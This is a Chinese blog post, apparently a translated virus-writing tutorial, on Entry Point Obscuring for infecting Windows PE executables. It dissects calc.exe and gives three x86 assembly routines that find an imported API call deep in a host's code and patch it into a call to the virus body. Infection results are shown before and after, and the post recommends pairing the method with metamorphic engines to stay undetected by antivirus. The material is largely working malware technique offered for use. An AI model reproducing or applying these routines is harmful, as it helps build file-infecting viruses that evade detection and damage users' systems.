EPO 入口点模糊技术

 为了获得控制权,病毒可以有以下几种修改可执行文件的方法:
—修改entry-point(程序入口)字段使之指向病毒代码
—在程序代码中插入一个指向病毒代码的跳转指令
第一个方法很简单,但是现在几乎所有不错的杀毒软件都会把这样的被感染文件看成是可疑文件。
为什么?因为一个程序的入口指针在代码段以外,所以这至少是可疑的。
第二种方法要复杂一点儿。病毒可以改写第一个jmp或者call指令使之指向自己。Cabanas病毒就用的这种方法。
运用第二种方法可以骗过一些杀毒软件,但是一些在扫描时还是可以把这个文件报告为可疑文件。
为什么?杀毒软件扫描文件入口附近的代码并发现一个指向代码段以外的jmp或call指令。
我们可以在这个指向我们的病毒代码的jmp或者call之前生成一些随机指令。如果杀毒软件只是检查第一条指令它就不会检测到这个指向病毒的跳转。
Marburg和Parvo病毒使用这种方法,但是现在这样已经不够了。一些杀毒软件可以越过这些垃圾指令并跟踪到那个指向病毒的跳转指令,然后还是会把这个文件报告为可疑文件。
那有什么解决方法么?我们不得不在距离入口很远的地方插入一个指向宿主代码内部病毒体的跳转指令。
为了达到这个目的我们可以分析每条指令知道我们找到一个安全的地方。
但是等等!我们不是真的需要写一个类似调试器一样的病毒。我们可以利用PE文件结构来快速扫描文件并找到一个安全的位置插入指向代码的跳转指令。
怎么做呢?让我们来dump一下calc.exe的代码节:
01.text
SH_PointerToRawData00001000
SH_VirtualAddress00001000
SH_SizeOfRawData0000C000
SH_VirtualSize0000BF22
characteristics60000020
CODE
MEM_EXECUTE
MEM_READ
程序入口在00005D30h处,这里的代码是这样的:
01285D30 64A100000000 mov eax,fs:[00000000]
01285D36 55 push ebp
01285D37 8BEC mov ebp,esp
01285D39 6AFF push FFFFFFFF
01285D3B 6808DF2801 push 0128DF08
01285D40 68D4742801 push 012874D4
01285D45 50 push eax
01285D46 64892500000000 mov fs:[00000000],esp
01285D4D 83EC60 sub esp,00000060
01285D50 53 push ebx
01285D51 56 push esi
01285D52 57 push edi
01285D53 8965E8 mov [ebp-18],esp
01285D56 FF1568D02801 call [0128D068]
01285D5C A38CF52801 mov [0128F58C],eax
01285D61 33C0 xor eax,eax
跳过第一条指令并到达 01285D56 处的代码。这条指令取 0128D068 处的地址,并调用那里的子程序。刚才提到的地址处的值为 77F13FD5,这是GetVersion的入口地址。所以这条指令调用了GetVersion这个API。
让我们看看看看这条指令的机器码: FF1568D02801
15FF间接调用
0128D068子程序的入口地址
好了,现在没有什么新鲜的了,但是让我们反过来看一看,现在我们要在程序代码中找到一个API调用的指令。所以我们看看程序入口处的机器码:
00005D30 64 A1 00 00 00 00 55 8B d? U?
00005D38 EC 6A FF 68 08 DF 28 01 8j爃.?.
00005D40 68 D4 74 28 01 50 64 89 h+t(.Pd?
00005D48 25 00 00 00 00 83 EC 60 % ?`
00005D50 53 56 57 89 65 E8 FF 15 SVW雃F?
00005D58 68 D0 28 01 A3 8C F5 28 h-(. )(
00005D60 01 33 C0 A0 F5 28 01 .3+犰)(.
00005D68 A3 98 F5 28 01 A1 8C F5 ?)(.眍)
00005D70 28 01 C1 2D 8C F5 28 01 (.--?(.
00005D78 10 25 FF 00 00 00 A3 94 .%?
00005D80 F5 28 01 C1 E0 08 03 05 )(.-a...
如果我们扫描这个区域并寻找CALL指令(FF15)我们可以在 00005D56处找到。在这个指令后面是一个指向子程序的指针,让我们来检查一下:
00005D58 68 D0 28 01 -> 0128D068
让我们看一看在内存映象中地址 0128D068 代表什么:
0128D068 -> 指向子程序的入口
01280000 -> 文件头的映象基地址
--------
0000D068 -> 子程序入口的RVA
下面我们来dump一下calc.exe的导入节:
02 .rdata
SH_PointerToRawData0000D000
SH_VirtualAddress0000D000
SH_SizeOfRawData00002000
SH_VirtualSize00001F0A
characteristics60000020
INITIALIZED_DATA
MEM_READ
很好!似乎我们已经找到了在宿主代码中定位API调用的方法。但是字节 FF15h 并不一定就是一个API调用。它可以是,比如说,MOV EAX, 0000FF15h。我们怎么确定呢?
我们要利用PE结构来从提取CALL指令引用的API的名字。
我们看一下 RVA 0000D068 在文件中对应的内容(在这个例子中RVA和RAW相同)
0000D068 24 E8 00 00
这不是GetVersion的入口地址,但等等!看看在文件中偏移 0000E824 处的内容:
0000E824 4C 01 47 65 74 56 65 72 L.GetVer
0000E82C 73 69 6F 6E 00 00 6B 00 sion..k.
这就是程序如何通过名称加载API。第一个字是一个‘hint’(译注:这个字段表示函数的序号,但通常为0),接下来是API的名字。
总结:
Code sectionImports section
------------------------------- -------------------------------
01285D56 - call [0128D068]
^
'--------->D068 - 24 E8 00 00
^
,----------'
|
'->E824 - 4C 01
E826 - "GetVersion"
让我们着手进行这个工作。下面的代码是一个最初步的尝试:
;----------------------------------------------------------------------------
;Example 1
;
;On entry:
;ebx -> Host base address
;ecx -> Pointer to RAW data or NULL if error
;edx -> Entry-point RVA
;esi -> Pointer to IMAGE_OPTIONAL_HEADER
;edi -> Pointer to section header
;ebp -> Virus delta offset
;
;On exit:
;ebx -> Not changed
;ecx -> Pointer to instruction after the api
; call or NULL if error
;
;----------------------------------------------------------------------------
example_1:mov edx,dword ptr [esi+OH_ImageBase]
mov esi,ecx
mov ecx,dword ptr [edi+SH_VirtualSize]
sub ecx,eax
dec ecx
search_call:lodsw
dec esi
cmp ax,15FFh
je found_call
loop search_call
ret;Opcode not found
found_call:inc esi
lodsd
sub eax,edx
mov edx,eax
push esi
call RVA2RAW
pop esi
jecxz e_get_code_raw
xchg ecx,esi
lodsd
lea esi,dword ptr [ebx+eax]
lodsw
mov edx,ecx
mov ecx,00000020h
mov edi,esi
xor eax,eax
IsThisStr:scasb
jz OhYesItIs
loop IsThisStr
ret;Null terminator not found
OhYesItIs:push edx;Ptr to next instruction
push esi
push dword ptr [ebp+hKERNEL32]
call dword ptr [ebp+a_GetProcAddress]
pop ecx
sub ecx,ebx
or eax,eax
jnz e_get_code_raw
mov ecx,eax
e_get_code_raw:ret
;End of example 1
;----------------------------------------------------------------------------
一旦病毒得到了一个有效的指针,它就可以把这里的指令复制到一个缓冲区里,然后把这条指令修改成一个指向病毒代码的jmp或者call指令。
我们用例子中的代码对calc.exe操作,程序的入口出变成了这样:
01285D30 64A100000000 mov eax,fs:[00000000]
01285D36 55 push ebp
01285D37 8BEC mov ebp,esp
01285D39 6AFF push FFFFFFFF
01285D3B 6808DF2801 push 0128DF08
01285D40 68D4742801 push 012874D4
01285D45 50 push eax
01285D46 64892500000000 mov fs:[00000000],esp
01285D4D 83EC60 sub esp,00000060
01285D50 53 push ebx
01285D51 56 push esi
01285D52 57 push edi
01285D53 8965E8 mov [ebp-18],esp
01285D56 FF1568D02801 call [0128D068]
01285D5C E898800000 call 0128DDF9
01285D61 33C0 xor eax,eax
你可以看到下面指令:
01285D5C A38CF52801 mov [0128F58C],eax
已经被改写成了:
01285D5C E898800000 call 0128DDF9
这会把下一条指令的地址压进栈。病毒可以弹出这个地址以在那里恢复原始代码(感染时保存)并当工作结束后把控制权交给宿主程序。
如果你自己进行测试你就会发现上面的代码并不聪明。
让我们想一想例子1是怎么工作的然后看看当处理下面代码时会发生什么:
jecxz label
push ecx
call CloseHandle
push eax
label:...
如果用例子1代码修改会得到类似下面的结果:
jecxz label
push ecx
call CloseHandle
call go2virus
问题是 jecxz 指令可能在程序调用病毒前把控制权交到别处。所以如果 ecx 为 0 我们的病毒就不能得到运行,并且 jecxz 还将会跳到一个无效的地址。
这时候上面的代码就出现了错误,当我们patch一个可执行文件的时候显露出一个很常见的陷阱是很好的。
让我们对例子1的代码进行如下修改以适应这种情况:
;----------------------------------------------------------------------------
;Example 2
;
;On entry:
;ebx -> Host base address
;ecx -> Pointer to RAW data or NULL if error
;edx -> Entry-point RVA
;esi -> Pointer to IMAGE_OPTIONAL_HEADER
;edi -> Pointer to section header
;ebp -> Virus delta offset
;
;On exit:
;ebx -> Not changed
;ecx -> Inject point offset in file or NULL if error
;
;----------------------------------------------------------------------------
example_2:mov edx,dword ptr [esi+OH_ImageBase]
mov esi,ecx
mov ecx,dword ptr [edi+SH_VirtualSize]
search_call:push ecx
lodsw
dec esi
cmp ax,15FFh
jne NoCallOpcode
push esi
inc esi
lodsd
sub eax,edx
mov edx,eax
push esi
call RVA2RAW
pop esi
jecxz NextApe
xchg ecx,esi
lodsd
sub eax,edx
lea esi,dword ptr [eax+ebx]
lodsw
mov edx,ecx
mov ecx,00000020h
mov edi,esi
xor eax,eax
IsThisStr:scasb
jz FoundNull
loop IsThisStr
NextApe:pop esi
NoCallOpcode:pop ecx
loop search_call
ExitApe:ret;Opcode not found
FoundNull:push edx
push esi
push dword ptr [ebp+hKERNEL32]
call dword ptr [ebp+a_GetProcAddress]
pop ecx
sub ecx,ebx
sub ecx,00000006h
or eax,eax
jz NextApe
pop eax
pop eax
ret
;End of example 2
;----------------------------------------------------------------------------
现在我们把对API的调用改写成了对病毒体的调用,而不是改写后面的指令。这样我们永远不会改写除了这个API调用以外任何的指令。我们还是用calc.exe做实验:
这是感染前的原始代码:
01285D30 64A100000000 mov eax,fs:[00000000]
01285D36 55 push ebp
01285D37 8BEC mov ebp,esp
01285D39 6AFF push FFFFFFFF
01285D3B 6808DF2801 push 0128DF08
01285D40 68D4742801 push 012874D4
01285D45 50 push eax
01285D46 64892500000000 mov fs:[00000000],esp
01285D4D 83EC60 sub esp,00000060
01285D50 53 push ebx
01285D51 56 push esi
01285D52 57 push edi
01285D53 8965E8 mov [ebp-18],esp
01285D56 FF1568D02801 call [0128D068]
01285D5C A38CF52801 mov [0128F58C],eax
01285D61 33C0 xor eax,eax
这是用例子2中的代码感染后的结果:
01285D30 64A100000000 mov eax,fs:[00000000]
01285D36 55 push ebp
01285D37 8BEC mov ebp,esp
01285D39 6AFF push FFFFFFFF
01285D3B 6808DF2801 push 0128DF08
01285D40 68D4742801 push 012874D4
01285D45 50 push eax
01285D46 64892500000000 mov fs:[00000000],esp
01285D4D 83EC60 sub esp,00000060
01285D50 53 push ebx
01285D51 56 push esi
01285D52 57 push edi
01285D53 8965E8 mov [ebp-18],esp
01285D56 E898800000 call 0128DDF3
01285D5B 01db 01h
01285D5C A38CF52801 mov [0128F58C],eax
01285D61 33C0 xor eax,eax
注意我们注入的call指令比API调用的call指令占用的字节数要少。感染后的结果除了call指令以外其他的指令都没有改变,这样我们的病毒就可以得到控制权了。
还要注意,我们只是在对第一个API调用进行patch。但是我们可以跳过几个API直到一个处于代码深处的位置。我们可以把例子2的代码做如下修改:
;----------------------------------------------------------------------------
;Example 3
;
;On entry:
;ebx -> Host base address
;ecx -> Pointer to RAW data or NULL if error
;edx -> Entry-point RVA
;esi -> Pointer to IMAGE_OPTIONAL_HEADER
;edi -> Pointer to section header
;ebp -> Virus delta offset
;
;On exit:
;ebx -> Not changed
;ecx -> Inject point offset in file or NULL if error
;
;----------------------------------------------------------------------------
example_3:mov eax,dword ptr [edi+SH_VirtualSize]
shr eax,01h
call get_rnd_range
mov edx,dword ptr [esi+OH_ImageBase]
lea esi,dword ptr [eax+ecx]
mov ecx,dword ptr [edi+SH_VirtualSize]
sub ecx,eax
search_call:push ecx
lodsw
dec esi
cmp ax,15FFh
jne NoCallOpcode
push esi
inc esi
lodsd
sub eax,edx
mov edx,eax
push esi
call RVA2RAW
pop esi
jecxz NextApe
xchg ecx,esi
lodsd
sub eax,edx
lea esi,dword ptr [eax+ebx]
lodsw
mov edx,ecx
mov ecx,00000020h
mov edi,esi
xor eax,eax
IsThisStr:scasb
jz FoundNull
loop IsThisStr
NextApe:pop esi
NoCallOpcode:pop ecx
loop search_call
ExitApe:ret;Opcode not found
FoundNull:push edx
push esi
push dword ptr [ebp+hKERNEL32]
call dword ptr [ebp+a_GetProcAddress]
pop ecx
sub ecx,ebx
sub ecx,00000006h
or eax,eax
jz NextApe
pop eax
pop eax
ret
;End of example 3
;----------------------------------------------------------------------------
上面的代码在00000000h到代码节大小之间取了一个随机数,并且从这个位置开始寻找API调用。是的,这个随机数发生器和 RVA2RAW 子程序没有包含在上面的3个例子中,大家自己写一个吧。
当实验上面的代码时,我发现了下面一些问题:
—大量文件没有被感染
—搜索例程经常因为异常而退出
Borland链接出的文件没有我们刚才看到的那样的call调用。所以我们得采用别的方法处理它们。绑定文件同样需要得到特殊的关注。
另一个并不是特别聪明的部分是用 GetProcAddress 检验API名称。比每次都检测RVA是否在导入表要好些。
运用这种方法可以使我们的病毒入口被隐藏起来,并且如果加上使用变形引擎可以使我们的病毒很难被查杀。
如果变形引擎可以成功地生成完全随机模式并且病毒的入口是未知的,我们的病毒就会很安全并可以很长时间不会被一些蹩脚的AV查出。
我把这个程序重写了并在心里记下了所有的问题。你可以在CTX-Phage病毒的代码里看到结果。它展示了如何使用EPO技术和有效的变形引擎结合。
另一个可能方法是定位由高级语言编译器产生的结构。比如:
01012420 55 push ebp
01012421 8BEC mov ebp,esp
我把这个部分留给你们。希望你们喜欢。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值